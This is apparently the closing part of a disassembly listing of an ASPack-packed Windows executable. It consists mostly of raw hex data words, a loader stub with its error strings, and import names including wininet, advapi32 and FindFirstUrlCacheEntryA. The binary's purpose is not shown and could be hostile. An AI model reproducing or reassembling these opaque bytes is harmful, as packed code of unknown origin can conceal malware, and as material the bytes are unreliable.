		dd 48A0000h, 74C08431h,	88BA8B22h, 25000000h, 0FFh, 6884448Bh
		dd 33870C89h, 31048AC0h, 68847C8Bh, 6884448Dh, 8B388947h
		dd 8482h, 0C83B4100h, 5E5FCC72h, 5B01B05Dh, 98C481h, 4C20000h
		dd 56535100h, 8B57F18Bh, 4788306h, 8B307208h, 41118A08h
		dd 0C245488h, 488B0889h, 24548B08h, 8E1C10Ch, 0FFE281h
		dd 0CA0B0000h, 8304508Bh, 4889F8C2h, 89CA8B08h,	0F9830450h
		dd 8BD07308h, 408B0450h, 8B908h, 0CA2B0000h, 4E8BE8D3h
		dd 0FE002524h, 0C13B00FFh, 968B1473h, 8Ch, 0E9C1C88Bh
		dd 8ADB3310h, 0D38B111Ch, 463B3BEBh, 3B0A732Ch,	0D21B2846h
		dd 0EB0AC283h, 30463B2Ch, 0BBA0773h, 0EB000000h, 34463B20h
		dd 0CBA0773h, 0EB000000h, 38463B14h, 0DBA0773h,	0EB000000h
		dd 3C463B08h, 0C283D21Bh, 8B0E8B0Fh, 0FA030479h, 8B047989h
		dd 18B9961Ch, 2B000000h, 5FCA2BC3h, 4C8BE8D3h, 0C1034496h
		dd 888E8Bh, 5B5E0000h, 5981048Bh, 575653C3h, 0D233F98Bh
		dd 0B78DC033h, 268h, 0E8561689h, 25Eh, 0C7308C8Ah, 5E00443Fh
		dd 1BBh, 4C68300h, 0D303E3D3h, 3AF88340h, 448BDE72h, 4F8D1024h
		dd 0D1685010h, 0E8000002h, 0FFFFFD48h, 8D1C6A50h, 0A08Fh
		dd 0FD3AE800h, 6A50FFFFh, 308F8D08h, 0E8000001h, 0FFFFFD2Ch
		dd 8D136A50h, 1C08Fh, 0FD1EE800h, 8789FFFFh, 260h, 0F5055E5Fh
		dd 5B000002h, 8B0004C2h, 8B082444h, 244C8BD1h, 2895704h
		dd 8904428Dh, 440C708h,	20h, 89104289h,	0A082h,	30828900h
		dd 89000001h, 1C082h, 0B9C03300h, 0BDh,	2508289h, 82890000h
		dd 254h, 2588289h, 0BA8B0000h, 260h, 25C8289h, 0ABF30000h
		dd 0E8AACA8Bh, 4, 8C25Fh, 30CEC81h, 8B530000h, 8D5655D9h
		dd 6A57046Bh, 0E8CD8B01h, 0FFFFFC29h, 0E75C085h, 260BB8Bh
		dd 0BDB90000h, 0F3000000h, 0F633AAABh, 0CD8B046Ah, 0FFFC0CE8h
		dd 344488FFh, 0FE834610h, 8DED7213h, 1C0BBh, 24448D00h
		dd 0CF8B5010h, 0FFFC80E8h, 75C084FFh, 5D5E5F0Bh, 0CC4815Bh
		dd 0C3000003h, 0CF8BF633h, 0FFFDE4E8h, 10F883FFh, 8B8B1573h
		dd 260h, 231148Ah, 0FE280D0h, 24345488h, 7560EB46h, 8B026A28h
		dd 0FBB3E8CDh, 0C083FFFFh, 7EC08503h, 0F5FE814Eh, 7D000002h
		dd 344C8A52h, 4C884823h, 85462434h, 0EBEA7FC0h,	11F88336h
		dd 36A0E75h, 86E8CD8Bh,	83FFFFFBh, 0CEB03C0h, 0CD8B076Ah
		dd 0FFFB78E8h, 0BC083FFh, 137EC085h, 2F5FE81h, 177D0000h
		dd 243444C6h, 85484600h, 81ED7FC0h, 2F5FEh, 738C0F00h
		dd 8DFFFFFFh, 8D242454h, 0E852104Bh, 0FFFFFBD5h, 0B75C084h
		dd 5B5D5E5Fh, 30CC481h,	8DC30000h, 2F52484h, 8B8D0000h
		dd 0A0h, 0FBB3E850h, 0C084FFFFh, 5E5F0B75h, 0C4815B5Dh
		dd 30Ch, 248C8DC3h, 311h, 308B8D51h, 0E8000001h, 0FFFFFB91h
		dd 0B75C084h, 5B5D5E5Fh, 30CC481h, 0C6C30000h, 26483h
		dd 0C0330000h, 1104BC80h, 3000003h, 83400875h, 0F07208F8h
		dd 83C607EBh, 264h, 60838B01h, 8D000002h, 0BE24244Ch, 2F5h
		dd 1088118Ah, 754E4140h, 5D5E5FF7h, 815B01B0h, 30CC4h
		dd 1E8C300h, 90000000h,	5BEE815Eh, 0C3004445h, 8B14EC83h
		dd 531C2444h, 0C75655h,	0
		dd 2424448Bh, 85FF3357h, 89F18BC0h, 0F10247Ch, 25B86h
		dd 104E8D00h, 0FFFC7CE8h, 1003DFFh, 13730000h, 1880E8Bh
		dd 47410E8Bh, 7C890E89h, 29E91024h, 3D000002h, 2D0h, 213830Fh
		dd 50000h, 8BFFFFFFh, 7E083E8h,	8D03EDC1h, 0F8830250h
		dd 24548907h, 94850F14h, 8D000000h, 0A08Eh, 0FC2FE800h
		dd 4E8BFFFFh, 56DB3308h, 0FFFF6DE8h, 309C8AFFh,	443FABh
		dd 8F9835Eh, 4E8B3272h,	41118A04h, 18245488h, 8B044E89h
		dd 548B0C4Eh, 0E1C11824h, 0FFE28108h, 0B000000h, 8568BCAh
		dd 89F8C283h, 0CA8B0C4Eh, 83085689h, 0CE7308F9h, 8B087E8Bh
		dd 8B90C56h, 2B000000h,	0D3FB03CFh, 18B9EAh, 7E890000h
		dd 81CB2B08h, 0FFFFFFE2h, 33EAD300h, 3E856C9h, 8AFFFFFFh
		dd 3F8F308Ch, 8B5E0044h, 3142444h, 89C103CAh, 8A142444h
		dd 26486h, 0AE9C8B00h, 268h, 0E856D233h, 0FFFFFEDAh, 0C735948Ah
		dd 5E00443Fh, 0FA8BC084h, 0FF837674h, 8B717203h, 6F8D0846h
		dd 8F883FDh, 468B3172h,	0C568B04h, 8A08E2C1h, 4C884008h
		dd 4E8B1C24h, 4468908h,	1C24448Bh, 0FF25h, 0F8C18300h
		dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h,	7E8B0846h
		dd 8B90Ch, 0C82B0000h, 0EFD3C503h, 18B9h, 8468900h, 0E781CD2Bh
		dd 0FFFFFFh, 8E8DEFD3h,	130h, 0FFFB14E8h, 8DC303FFh, 5BEBF81Ch
		dd 8087E83h, 468B3172h,	0C568B04h, 8A08E2C1h, 4C884008h
		dd 4E8B2024h, 4468908h,	2024448Bh, 0FF25h, 0F8C18300h
		dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h,	468B0856h
		dd 8B90Ch, 0CA2B0000h, 0E8D3D703h, 18B9h, 8568900h, 0FF25CF2Bh
		dd 0D300FFFFh, 83D803E8h, 1A7303FBh, 509E8C8Bh,	85000002h
		dd 8B3074DBh, 25096h, 9E948900h, 250h, 868B1BEBh, 254h
		dd 250968Bh, 4B8D0000h,	588689FDh, 89000002h, 25496h, 508E8900h
		dd 8B000002h, 247C8B06h, 148D4114h, 89C23B38h, 8B107316h
		dd 40D12BD0h, 5088128Ah, 3B168BFFh, 8BF072C2h, 3102444h
		dd 244489C7h, 0EBF88B10h, 0E8CE8B0Bh, 0FFFFFBF0h, 1C74C084h
		dd 28247C3Bh, 0FDAB820Fh, 448BFFFFh, 38892C24h,	0B05D5E5Fh
		dd 0C4835B01h, 8C214h, 325D5E5Fh, 0C4835BC0h, 8C214h, 0
		dd 8, 400000h, 77E60000h, 6E72656Bh, 32336C65h,	6C6C642Eh
		dd 72695600h, 6C617574h, 6F6C6C41h, 69560063h, 61757472h
		dd 6572466Ch, 69560065h, 61757472h, 6F72506Ch, 74636574h
		dd 69784500h, 6F725074h, 73736563h, 0
		dd 65737500h, 2E323372h, 6C6C64h, 7373654Dh, 42656761h
		dd 41786Fh, 72707377h, 66746E69h, 4F4C0041h, 52454441h
		dd 52524520h, 5400524Fh, 70206568h, 65636F72h, 65727564h
		dd 746E6520h, 70207972h, 746E696Fh, 20732520h, 6C756F63h
		dd 6F6E2064h, 65622074h, 636F6C20h, 64657461h, 206E6920h
		dd 20656874h, 616E7964h, 2063696Dh, 6B6E696Ch, 62696C20h
		dd 79726172h, 732520h, 20656854h, 6964726Fh, 206C616Eh
		dd 63207525h, 646C756Fh, 746F6E20h, 20656220h, 61636F6Ch
		dd 20646574h, 74206E69h, 64206568h, 6D616E79h, 6C206369h
		dd 206B6E69h, 7262696Ch, 20797261h, 90007325h, 77E7A5FDh
		dd 77E79F93h, 77E805D8h, 0
aKernel32_dll_3	db 'kernel32.dll',0
		db 2 dup(0), 47h
aEtprocaddress	db 'etProcAddress',0
		align 10h
aGetmodulehandl	db 'GetModuleHandleA',0
		db 2 dup(0), 4Ch
aOadlibrarya	db 'oadLibraryA',0
		dd 3 dup(0)
		dd 49F80h, 49F70h, 3 dup(0)
		dd 4A074h, 4A0C4h, 3 dup(0)
		dd 4A081h, 4A0CCh, 3 dup(0)
		dd 4A08Dh, 4A0D4h, 3 dup(0)
		dd 4A097h, 4A0DCh, 3 dup(0)
		dd 4A0A2h, 4A0E4h, 3 dup(0)
		dd 4A0ACh, 4A0ECh, 3 dup(0)
		dd 4A0B9h, 4A0F4h, 5 dup(0)
aOleaut32_dll	db 'oleaut32.dll',0
aWininet_dll_0	db 'wininet.dll',0
aOle32_dll_0	db 'ole32.dll',0
aUser32_dll_1	db 'user32.dll',0
aGdi32_dll_0	db 'gdi32.dll',0
aAdvapi32_dll_2	db 'advapi32.dll',0
aCrtdll_dll_0	db 'crtdll.dll',0
		dd 77121680h, 0
		dd 7620FB39h, 0
		dd 771C1E56h, 0
aW		db ':w',0
		align 4
aMW		db '$w',0
		align 4
aW_0		db ' ]w',0
		align 4
aIoS		db 'os',0
		align 4
		db    0
		align 2
aSysallocstring	db 'SysAllocString',0
		db 2 dup(0), 46h
aIndfirsturlcac	db 'indFirstUrlCacheEntryA',0
		align 4
		dd 436F4300h, 74616572h, 736E4965h, 636E6174h, 65h, 57746547h
		dd 6F646E69h, 78655477h, 4174h,	74654700h, 636F7453h, 6A624F6Bh
		dd 746365h, 704F0000h, 72506E65h, 7365636Fh, 6B6F5473h
		dd 6E65h, 74695F00h, 616Fh, 3A2h dup(0)
_aspack		ends

; Section 7. (virtual address 0004C000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0004C000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 44C000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start